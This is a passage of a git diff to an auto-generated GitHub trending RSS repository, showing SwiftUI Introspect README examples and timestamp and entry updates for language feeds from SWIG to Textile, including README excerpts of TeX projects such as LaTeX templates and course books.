<code>.grouped</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/fullScreenCovertype"><code>.fullScreenCover</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/listtype"><code>List</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/listwithborderedstyletype"><code>List</code> with <code>.bordered</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/listwithgroupedstyletype"><code>List</code> with <code>.grouped</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/listwithinsetgroupedstyletype"><code>List</code> with <code>.insetGrouped</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/listwithinsetstyletype"><code>List</code> with <code>.inset</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/listwithsidebarstyletype"><code>List</code> with <code>.sidebar</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/listcelltype"><code>ListCell</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/maptype"><code>Map</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/navigationsplitviewtype"><code>NavigationSplitView</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/navigationstacktype"><code>NavigationStack</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/NavigationViewWithColumnsStyleType"><code>NavigationView</code> with <code>.columns</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/NavigationViewWithStackStyleType"><code>NavigationView</code> with <code>.stack</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/pagecontroltype"><code>PageControl</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/pickerwithmenustyletype"><code>Picker</code> with <code>.menu</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/pickerwithsegmentedstyletype"><code>Picker</code> with <code>.segmented</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/pickerwithwheelstyletype"><code>Picker</code> with <code>.wheel</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/popovertype"><code>.popover</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/progressviewwithcircularstyletype"><code>ProgressView</code> with <code>.circular</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/progressviewwithlinearstyletype"><code>ProgressView</code> with <code>.linear</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/scrollviewtype"><code>ScrollView</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/searchfieldtype"><code>.searchable</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/securefieldtype"><code>SecureField</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/sheettype"><code>.sheet</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/SignInWithAppleButtonType"><code>SignInWithAppleButton</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/slidertype"><code>Slider</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/steppertype"><code>Stepper</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/tabletype"><code>Table</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/tabviewtype"><code>TabView</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/TabViewWithPageStyleType"><code>TabView</code> with <code>.page</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/texteditortype"><code>TextEditor</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/textfieldtype"><code>TextField</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/TextFieldWithVerticalAxisType"><code>TextField</code> with <code>.vertical</code> axis</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/toggletype"><code>Toggle</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/togglewithbuttonstyletype"><code>Toggle</code> with <code>button</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/togglewithcheckboxstyletype"><code>Toggle</code> with <code>checkbox</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/togglewithswitchstyletype"><code>Toggle</code> with <code>switch</code> style</a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/videoplayertype"><code>VideoPlayer</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/viewtype"><code>View</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/viewcontrollertype"><code>ViewController</code></a></li> <li><a href="https://swiftpackageindex.com/siteline/swiftui-introspect/main/documentation/swiftuiintrospect/windowtype"><code>Window</code></a></li> </ul> <p><strong>Missing an element?</strong> Please <a href="https://github.com/siteline/swiftui-introspect/discussions/new?category=ideas">start a discussion</a>. As a temporary solution, you can <a href="https://raw.githubusercontent.com/siteline/swiftui-introspect/main/#implement-your-own-introspectable-type">implement your own introspectable view type</a>.</p> <h3>Cannot implement</h3> <table> <thead> <tr> <th>SwiftUI</th> <th>Affected Frameworks</th> <th>Why</th> </tr> </thead> <tbody> <tr> <td>Text</td> <td>UIKit, AppKit</td> <td>Not a UILabel / NSLabel</td> </tr> <tr> <td>Image</td> <td>UIKit, AppKit</td> <td>Not a UIImageView / NSImageView</td> </tr> <tr> <td>Button</td> <td>UIKit</td> <td>Not a UIButton</td> </tr> </tbody> </table> <h2>Examples</h2> <h3>List</h3> <pre><code class="language-swift">List { Text("Item") } .introspect(.list, on: .iOS(.v13, .v14, .v15)) { tableView in tableView.backgroundView = UIView() tableView.backgroundColor = .cyan } .introspect(.list, on: .iOS(.v16, .v17)) { collectionView in collectionView.backgroundView = UIView() collectionView.subviews.dropFirst(1).first?.backgroundColor = .cyan } </code></pre> <h3>ScrollView</h3> <pre><code class="language-swift">ScrollView { Text("Item") } .introspect(.scrollView, on: .iOS(.v13, .v14, .v15, .v16, .v17)) { scrollView in scrollView.backgroundColor = .red } </code></pre> <h3>NavigationView</h3> <pre><code class="language-swift">NavigationView { Text("Item") } .navigationViewStyle(.stack) .introspect(.navigationView(style: .stack), on: .iOS(.v13, .v14, .v15, .v16, .v17)) { navigationController in navigationController.navigationBar.backgroundColor = .cyan } </code></pre> <h3>TextField</h3> <pre><code class="language-swift">TextField("Text Field", text: &lt;#Binding&lt;String&gt;#&gt;) .introspect(.textField, on: .iOS(.v13, .v14, .v15, .v16, .v17)) { textField in textField.backgroundColor = .red } </code></pre> <h2>Advanced usage</h2> <h3>Implement your own introspectable type</h3> <p><strong>Missing an element?</strong> Please <a href="https://github.com/siteline/swiftui-introspect/discussions/new?category=ideas">start a discussion</a>.</p> <p>In case SwiftUI Introspect (unlikely) doesn't support the SwiftUI element that you're looking for, you can implement your own introspectable type.</p> <p>For example, here's how the library implements the introspectable <code>TextField</code> type:</p> <pre><code class="language-swift">import SwiftUI @_spi(Advanced) import SwiftUIIntrospect public struct TextFieldType: IntrospectableViewType {} extension IntrospectableViewType where Self == TextFieldType { public static var textField: Self { .init() } } #if canImport(UIKit) extension iOSViewVersion&lt;TextFieldType, UITextField&gt; { public static let v13 = Self(for: .v13) public static let v14 = Self(for: .v14) public static let v15 = Self(for: .v15) public static let v16 = Self(for: .v16) public static let v17 = Self(for: .v17) } extension tvOSViewVersion&lt;TextFieldType, UITextField&gt; { public static let v13 = Self(for: .v13) public static let v14 = Self(for: .v14) public static let v15 = Self(for: .v15) public static let v16 = Self(for: .v16) public static let v17 = Self(for: .v17) } extension visionOSViewVersion&lt;TextFieldType, UITextField&gt; { public static let v1 = Self(for: .v1) } #elseif canImport(AppKit) extension macOSViewVersion&lt;TextFieldType, NSTextField&gt; { public static let v10_15 = Self(for: .v10_15) public static let v11 = Self(for: .v11) public static let v12 = Self(for: .v12) public static let v13 = Self(for: .v13) public static let v14 = Self(for: .v14) } #endif </code></pre> <h3>Introspect on future platform versions</h3> <p>By default, introspection applies per specific platform version. This is a sensible default for maximum predictability in regularly maintained codebases, but it's not always a good fit for e.g. library developers who may want to cover as many future platform versions as possible in order to provide the best chance for long-term future functionality of their library without regular maintenance.</p> <p>For such cases, SwiftUI Introspect offers range-based platform version predicates behind the Advanced SPI:</p> <pre><code class="language-swift">import SwiftUI @_spi(Advanced) import SwiftUIIntrospect struct ContentView: View { var body: some View { ScrollView { // ... } .introspect(.scrollView, on: .iOS(.v13...)) { scrollView in // ... } } } </code></pre> <p>Bear in mind this should be used cautiosly, and with full knowledge that any future OS version might break the expected introspection types unless explicitly available. For instance, if in the example above hypothetically iOS 18 stops using UIScrollView under the hood, the customization closure will never be called on said platform.</p> <h3>Keep instances outside the customize closure</h3> <p>Sometimes, you might need to keep your introspected instance around for longer than the customization closure lifetime. In such cases, <code>@State</code> is not a good option because it produces retain cycles. Instead, SwiftUI Introspect offers a <code>@Weak</code> property wrapper behind the Advanced SPI:</p> <pre><code class="language-swift">import SwiftUI @_spi(Advanced) import SwiftUIIntrospect struct ContentView: View { @Weak var scrollView: UIScrollView? var body: some View { ScrollView { // ... } .introspect(.scrollView, on: .iOS(.v13, .v14, .v15, .v16, .v17)) { scrollView in self.scrollView = scrollView } } } </code></pre> <h2>Community projects</h2> <p>Here's a list of open source libraries powered by the SwiftUI Introspect library:</p> <a href="https://github.com/paescebu/CustomKeyboardKit"> <img src="https://github-readme-stats.vercel.app/api/pin/?username=paescebu&amp;repo=CustomKeyboardKit"> </a> <a href="https://github.com/davdroman/swiftui-navigation-transitions"> <img src="https://github-readme-stats.vercel.app/api/pin/?username=davdroman&amp;repo=swiftui-navigation-transitions"> </a> <p>If you're working on a library built on SwiftUI Introspect or know of one, feel free to submit a PR adding it to the list.</p> - - \ No newline at end of file diff --git a/swig/daily/index.xml b/swig/daily/index.xml index 51a4118fd8e..1e48ec941f9 100644 --- a/swig/daily/index.xml +++ b/swig/daily/index.xml @@ -1,7 +1,7 @@ GitHub SWIG Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:42:39Z + 2023-09-25T01:41:43Z Daily Trending of SWIG in GitHub \ No newline at end of file diff --git a/swig/weekly/index.xml b/swig/weekly/index.xml deleted file mode 100644 index 2489b24dc87..00000000000 --- a/swig/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SWIG Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:21Z - Weekly Trending of SWIG in GitHub - - \ No newline at end of file diff --git a/systemverilog/daily/index.xml b/systemverilog/daily/index.xml index c0d0accbd10..844f80e8da7 100644 --- a/systemverilog/daily/index.xml +++ b/systemverilog/daily/index.xml @@ -1,7 +1,7 @@ GitHub SystemVerilog Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:05Z + 2023-09-25T01:42:07Z Daily Trending of SystemVerilog in GitHub \ No newline at end of file diff --git a/systemverilog/weekly/index.xml b/systemverilog/weekly/index.xml deleted file mode 100644 index a2c7e470255..00000000000 --- a/systemverilog/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SystemVerilog Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:40Z - Weekly Trending of SystemVerilog in GitHub - - \ No newline at end of file diff --git a/talon/daily/index.xml b/talon/daily/index.xml index b5842d48e36..fbceab3b252 100644 --- a/talon/daily/index.xml +++ b/talon/daily/index.xml @@ -1,7 +1,7 @@ GitHub Talon Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:02Z + 2023-09-25T01:42:04Z Daily Trending of Talon in GitHub \ No newline at end of file diff --git a/talon/weekly/index.xml b/talon/weekly/index.xml deleted file mode 100644 index 3e67b26b776..00000000000 --- a/talon/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Talon Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:35Z - Weekly Trending of Talon in GitHub - - \ No newline at end of file diff --git a/tcl/daily/index.xml b/tcl/daily/index.xml index cd0aceeae93..4e24c11de1e 100644 --- a/tcl/daily/index.xml +++ b/tcl/daily/index.xml @@ -1,7 +1,7 @@ GitHub Tcl Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:04Z + 2023-09-25T01:42:08Z Daily Trending of Tcl in GitHub \ No newline at end of file diff --git a/tcl/weekly/index.xml b/tcl/weekly/index.xml deleted file mode 100644 index 343126ac965..00000000000 --- a/tcl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Tcl Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:38Z - Weekly Trending of Tcl in GitHub - - \ No newline at end of file diff --git a/tcsh/daily/index.xml b/tcsh/daily/index.xml index 1617e16928e..78a442032de 100644 --- a/tcsh/daily/index.xml +++ b/tcsh/daily/index.xml @@ -1,7 +1,7 @@ GitHub Tcsh Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:02Z + 2023-09-25T01:42:05Z Daily Trending of Tcsh in GitHub \ No newline at end of file diff --git a/tcsh/weekly/index.xml b/tcsh/weekly/index.xml deleted file mode 100644 index 70d1a206dac..00000000000 --- a/tcsh/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Tcsh Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:36Z - Weekly Trending of Tcsh in GitHub - - \ No newline at end of file diff --git a/tea/daily/index.xml b/tea/daily/index.xml index b3357e0a5ed..83ca51190dd 100644 --- a/tea/daily/index.xml +++ b/tea/daily/index.xml @@ -1,7 +1,7 @@ GitHub Tea Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:07Z + 2023-09-25T01:42:11Z Daily Trending of Tea in GitHub \ No newline at end of file diff --git a/tea/weekly/index.xml b/tea/weekly/index.xml deleted file mode 100644 index e5e3ea857ed..00000000000 --- a/tea/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Tea Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:42Z - Weekly Trending of Tea in GitHub - - \ No newline at end of file diff --git a/terra/daily/index.xml b/terra/daily/index.xml index 6af53423fba..cc7fb03ae82 100644 --- a/terra/daily/index.xml +++ b/terra/daily/index.xml @@ -1,7 +1,7 @@ GitHub Terra Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:07Z + 2023-09-25T01:42:09Z Daily Trending of Terra in GitHub \ No newline at end of file diff --git a/terra/weekly/index.xml b/terra/weekly/index.xml deleted file mode 100644 index a808369f58c..00000000000 --- a/terra/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Terra Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:41Z - Weekly Trending of Terra in GitHub - - \ No newline at end of file diff --git a/tex/daily/index.xml b/tex/daily/index.xml index fbee2a8cba9..7adc7254ad5 100644 --- a/tex/daily/index.xml +++ b/tex/daily/index.xml @@ -1,21 +1,28 @@ GitHub TeX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:12Z + 2023-09-25T01:42:14Z Daily Trending of TeX in GitHub - latexstudio/GMCMthesis - 2023-09-24T01:43:12Z - tag:github.com,2023-09-24:/latexstudio/GMCMthesis - - <p>2020 年研究生数学建模 LaTeX 模板</p><hr><h2>全国研究生数学建模竞赛 LaTeX 论文模板</h2> <p>GMCMthesis 是为全国研究生数学建模竞赛编写的 LaTeX 模板, 旨在让大家专注于 论文的内容写作, 而不用花费过多精力在格式的定制和调整上. 本手册是相应的参考, 其 中提供了一些环境和命令可以让模板的使用更为方便. 同时需要注意, 使用者需要有一 定的 LaTeX 的使用经验, 至少要会使用 ctex 宏包的一些功能, 比如调节字距或修改字体 大小等等.</p> <p>2019 年大学生建模模板的免费视频教程发布了,两个模板比较一脉相承,有兴趣用户可以观瞻观瞻:</p> <p>第一部分: <a href="https://www.bilibili.com/video/av64191560">https://www.bilibili.com/video/av64191560</a></p> <p>第二部分: <a href="https://www.bilibili.com/video/av64221508">https://www.bilibili.com/video/av64221508</a></p> <p>另外, 欢迎大家购买我们的视频教程, 参看<a href="https://item.taobao.com/item.htm?spm=a1z10.1-c.w4004-3473795048.2.ZlPoPL&amp;id=43823508044">这里</a>.</p> <p>视频教程试看的话,请点击:<a href="http://v.xue.taobao.com/learn.htm?spm=2013.1.0.0.kx3j3X&amp;courseId=26740">试看地址</a>.</p> <p><img src="https://github.com/latexstudio/GMCMthesis/raw/master/example_1.png" alt=""></p> <p><img src="https://github.com/latexstudio/GMCMthesis/raw/master/example_2.png" alt=""></p> <h2>更新记录</h2> <p>2023 年 9 月 19 日 更新:</p> <p>1,更新封面格式.</p> <p>2020 年 9 月 9 日 更新:</p> <p>1,更新封面格式;</p> <p>2,更新了内容的部分小细节和字体选择异常。</p> <p>2019 年 9 月 14 日更新:</p> <p>1,修改封面格式,由于阴影效果进行截图插图。</p> <p>2,调整了第一页第二页的版式。</p> <p>3,重新设置了全文边距,与 word 模板保持一致。</p> <p>2018年9月11日更新:</p> <p>1,修改封面格式,由于阴影效果进行截图插图。</p> <p>2,修改了参考文献的bibtex支持。</p> <p>3,其他冗余代码的删除和清理。</p> <p>2017年9月13日更新说明:</p> <ol> <li>去掉正文的页眉信息。</li> </ol> <p>2017年9月12日更新说明:</p> <ol> <li> <p>更新了封面的logo和页眉的版式;</p> </li> <li> <p>请大家使用TeXLive 2017 进行编译,下载地址:<a href="http://www.latexstudio.net">http://www.latexstudio.net</a> 首页焦点图;</p> </li> <li> <p>遇到问题可以到91940767群进行交流。</p> </li> </ol> + StanfordASL/PoRA-I-Sections + 2023-09-25T01:42:14Z + tag:github.com,2023-09-25:/StanfordASL/PoRA-I-Sections + + <p></p><hr><h1>Sections for Principle of Robot Autonomy I</h1> - harvard-edge/cs249r_book - 2023-09-24T01:43:12Z - tag:github.com,2023-09-24:/harvard-edge/cs249r_book - - <p>Collaborative book for CS249r: Tiny Machine Learning</p><hr><h1>CS249r: Tiny Machine Learning - Collaborative Book</h1> <p><a href="https://raw.githubusercontent.com/harvard-edge/cs249r_book/main/#contributors"><img src="https://img.shields.io/github/all-contributors/harvard-edge/cs249r_book?color=ee8449&amp;style=flat-square" alt="All Contributors"></a></p> <p>Welcome to the collaborative book repository for students of CS249r: Tiny Machine Learning at Harvard! This repository contains the source files of chapters and sections written by your peers. We're excited to see your contributions!</p> <hr> <h2>Contributing</h2> <p>To get started with your contributions, follow these steps:</p> <ol> <li><strong>Clone the Repository</strong>: <pre><code class="language-bash">git clone https://github.com/harvard-edge/cs249r_book.git </code></pre> </li> <li><strong>Navigate to the Repository</strong>: <pre><code class="language-bash">cd cs249r_book </code></pre> </li> <li><strong>Create a New Branch</strong> for your chapter/section: <pre><code class="language-bash">git checkout -b name-of-your-new-branch </code></pre> </li> <li>Write your chapter/section in Markdown.</li> <li><strong>Commit Changes to Your Branch</strong>: <pre><code class="language-bash">git add . git commit -m "Description of your changes" </code></pre> </li> <li><strong>Push Your Branch to the Repository</strong>: <pre><code class="language-bash">git push origin name-of-your-new-branch </code></pre> </li> <li>Open a pull request to the <code>main</code> branch of the original repository.</li> </ol> <p>The instructors will review your pull request and provide feedback. Once accepted, your changes will be merged into the <code>main</code> branch, and the website will automatically update.</p> <p>More detailed instructions on the CS249r scribing effort and peer review process can be found <a href="https://docs.google.com/document/d/1izDoWwFLnV8XK2FYCl23_9KYL_7EQ5OWLo-PCNUGle0">here</a>.</p> <hr> <h2>Website</h2> <p>The book website is automatically built from the <code>gh-pages</code> branch. Changes to <code>main</code> will be merged into <code>gh-pages</code> once reviewed.</p> <p>View the book website at: <a href="https://harvard-edge.github.io/cs249r_book/">https://harvard-edge.github.io/cs249r_book/</a></p> <hr> <h2>Local Rendering</h2> <p>To render the book locally, you'll need to install <code>quarto</code>. Once <code>quarto</code> is installed, you can run the following command to generate the HTML pages:</p> <pre><code class="language-bash">cd cs249r_book quarto render </code></pre> <h2>Contributors</h2> <!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section --> <!-- prettier-ignore-start --> <!-- markdownlint-disable --> <table> <tbody> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/uchendui"><img src="https://avatars.githubusercontent.com/uchendui?s=100" width="100px;" alt="Ikechukwu Uchendu"><br><sub><b>Ikechukwu Uchendu</b></sub></a><br><a href="https://raw.githubusercontent.com/harvard-edge/cs249r_book/main/https=//github.com/harvard-edge/cs249r_book/commits?author=uchendui" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/jveejay"><img src="https://avatars.githubusercontent.com/jveejay?s=100" width="100px;" alt="Vijay Janapa Reddi"><br><sub><b>Vijay Janapa Reddi</b></sub></a><br><a href="https://raw.githubusercontent.com/harvard-edge/cs249r_book/main/https=//github.com/harvard-edge/cs249r_book/commits?author=jveejay" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/mpstewart1"><img src="https://avatars.githubusercontent.com/mpstewart1?s=100" width="100px;" alt="Matthew Stewart"><br><sub><b>Matthew Stewart</b></sub></a><br><a href="https://raw.githubusercontent.com/harvard-edge/cs249r_book/main/https=//github.com/harvard-edge/cs249r_book/commits?author=mpstewart1" title="Documentation">📖</a></td> </tr> </tbody> </table> <!-- markdownlint-restore --> <!-- prettier-ignore-end --> <!-- ALL-CONTRIBUTORS-LIST:END --> <p>This project follows the <a href="https://allcontributors.org">all-contributors</a> specification. Contributions of any kind are welcome!</p> + scpd-proed/XCS224N-Handouts + 2023-09-25T01:42:14Z + tag:github.com,2023-09-25:/scpd-proed/XCS224N-Handouts + + <p>Contains Lecture Notes and Suggested Readings for XCS224N</p><hr><h1>XCS224N-Handouts</h1> <p>Contains Lecture Notes and Suggested Readings for XCS224N</p> + + + davimang/REACH + 2023-09-25T01:42:14Z + tag:github.com,2023-09-25:/davimang/REACH + + <p>A web application used to improve patients' access to clinical trials and practitioners' access to potential participants.</p><hr><h1>REACH</h1> <p>Developer Names: David Moroniti, Deep Raj, Alan Scott, Anika Peer, Aamina Hussain</p> <p>Date of project start: 11/18/2023</p> <p>This project is a full-stack web application used to improve patients' access to clinical trials and practitioners' access to potential participants.</p> <p>The folders and files for this project are as follows:</p> <p>docs - Documentation for the project refs - Reference material used for the project, including papers src - Source code test - Test cases etc.</p> \ No newline at end of file diff --git a/tex/weekly/index.xml b/tex/weekly/index.xml deleted file mode 100644 index 0c458e5d51d..00000000000 --- a/tex/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub TeX Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:46Z - Weekly Trending of TeX in GitHub - - - cvpr-org/author-kit - 2023-09-24T02:02:46Z - tag:github.com,2023-09-24:/cvpr-org/author-kit - - <p></p><hr><h1>CVPR/ICCV/3DV Official LaTeX template</h1> <p>History (in reverse chronological order)</p> <ul> <li>References in <code>cvprblue</code> for CVPR 2024 by <a href="https://github.com/Qwlouse">Klaus Greff</a></li> <li>added natbib for CVPR 2024 by <a href="https://richardt.name/">Christian Richardt</a></li> <li>replaced buggy (review-mode) line numbering for 3DV 2024 by <a href="https://openreview.net/profile?id=~Ad%C3%ADn_Ram%C3%ADrez_Rivera1">Adin Ramirez Rivera</a></li> <li>logic for inline supplementary for 3DV 2024 by <a href="https://taiya.github.io">Andrea Tagliasacchi</a></li> <li>modernized for CVPR 2022 by <a href="https://raw.githubusercontent.com/cvpr-org/author-kit/main/stefan.roth@NOSPAMtu-darmstadt.de">Stefan Roth</a></li> <li>created cvpr.sty file to unify review/rebuttal/final versions by <a href="https://github.com/MCG-NKU/CVPR_Template">Ming-Ming Cheng</a></li> <li>developed CVPR 2005 template by <a href="https://raw.githubusercontent.com/cvpr-org/author-kit/main/Paolo.Ienne@di.epfl.ch">Paolo Ienne</a> and <a href="https://raw.githubusercontent.com/cvpr-org/author-kit/main/awf@acm.org">Andrew Fitzgibbon</a></li> </ul> - - - Macin20/why-we-write - 2023-09-24T02:02:46Z - tag:github.com,2023-09-24:/Macin20/why-we-write - - <p>为什么写作?</p><hr><h1>写作只能塑造真实的自己</h1> <h3>起因</h3> <p>编辑《写作只能塑造真实的自己》这本小册子是纯属偶然兴起,看到网友“平安哥”在腾讯文档整理了各位作家关于写作的心得体会,质量非常高。故在此基础上新增了内容,也添加了脚注和排版,使其更加正式,也便于打印。</p> <p>我也是一名90后,当意识到大数据每天都在给我推送公文写作的时候,我感觉到了文字即将消散。当我坚持每周写作,坚持了4年,我好像什么也没收获,但好像也收获了笔耕不辍。我明白我并非像机器一般只能产出公文,一事无成,而是要追求知识与德行。</p> <p>我有一个自己的<a href="https://www.macin.org/">博客站点</a>,如果有一天腾讯公众号死掉了,我的文字还不至于流散。当然也欢迎各位添加微信,多多交流。</p> <p><img src="https://github.com/Macin20/why-we-write/raw/main/wechat.jpg" alt="图片"></p> <h3>内容大纲</h3> <ol> <li>王小波:我为什么要写作</li> <li>乔治·奥威尔:我为什么写作</li> <li>余华:写作是去完成一个过去的愿望</li> <li>史铁生:写作只能塑造真实的自己</li> <li>史铁生:写作就是要解决自己的问题</li> <li>莫言:我为什么写作</li> <li>梁鸿:写作与世界的关系</li> <li>老舍:给初学写作者的建议</li> <li>茅盾:向生活学习</li> <li>莫言:如何寻找写作灵感</li> <li>叶圣陶:最要紧的是锻炼语言习惯</li> <li>莫言:写作源自模仿</li> <li>王安忆:写作与个人经历的距离</li> <li>余华:我叙述中的障碍物</li> <li>贾樟柯:写作是一个爬坡的过程</li> <li>迟子建:关于写作的十二则体会</li> <li>刘震云:写作是有近路可抄的</li> <li>汪曾祺:认识到的和没有认识的自己</li> <li>莫言:讲故事的人</li> <li>后记</li> </ol> <p>总共190页内容。版面设置的A5(也就是常见A4纸对折的大小),方便在平板上看。 如果你想打印出来,可以用A4纸横版打印,每个版面两页内容,装订一下就是一本小书了。</p> <h2>内容更新</h2> <p>如果您有更多内容,欢迎提交 issue 。</p> <h2>编译方式</h2> <p>请使用<code>XeLaTeX</code>编译,目录需要执行两次编译才会正常显示。当然,你也可以直接下载PDF文件。</p> - - \ No newline at end of file diff --git a/texinfo/daily/index.xml b/texinfo/daily/index.xml index bce155a1c40..2f805973857 100644 --- a/texinfo/daily/index.xml +++ b/texinfo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Texinfo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:08Z + 2023-09-25T01:42:10Z Daily Trending of Texinfo in GitHub \ No newline at end of file diff --git a/texinfo/weekly/index.xml b/texinfo/weekly/index.xml deleted file mode 100644 index 388970bafaa..00000000000 --- a/texinfo/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Texinfo Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:43Z - Weekly Trending of Texinfo in GitHub - - \ No newline at end of file diff --git a/text/daily/index.xml b/text/daily/index.xml index 4731c297c3a..d8b37020b64 100644 --- a/text/daily/index.xml +++ b/text/daily/index.xml @@ -1,7 +1,7 @@ GitHub Text Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:21Z + 2023-09-25T01:42:26Z Daily Trending of Text in GitHub \ No newline at end of file diff --git a/text/weekly/index.xml b/text/weekly/index.xml deleted file mode 100644 index fbcc29a6f59..00000000000 --- a/text/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Text Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T02:02:55Z - Weekly Trending of Text in GitHub - - \ No newline at end of file diff --git a/textile/daily/index.xml b/textile/daily/index.xml index 7338e85e2a7..ba52d66a0c5 100644 --- a/textile/daily/index.xml +++ b/textile/daily/index.xml @@ -1,7 +1,7 @@ GitHub Textile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:43:22Z + 2023-09-25T01:42:22Z Daily Trending of Textile in GitHub \ No newline at end of file diff --git a/textile/weekly/index.xml b/textile/weekly/index.xml deleted file mode 100644 index 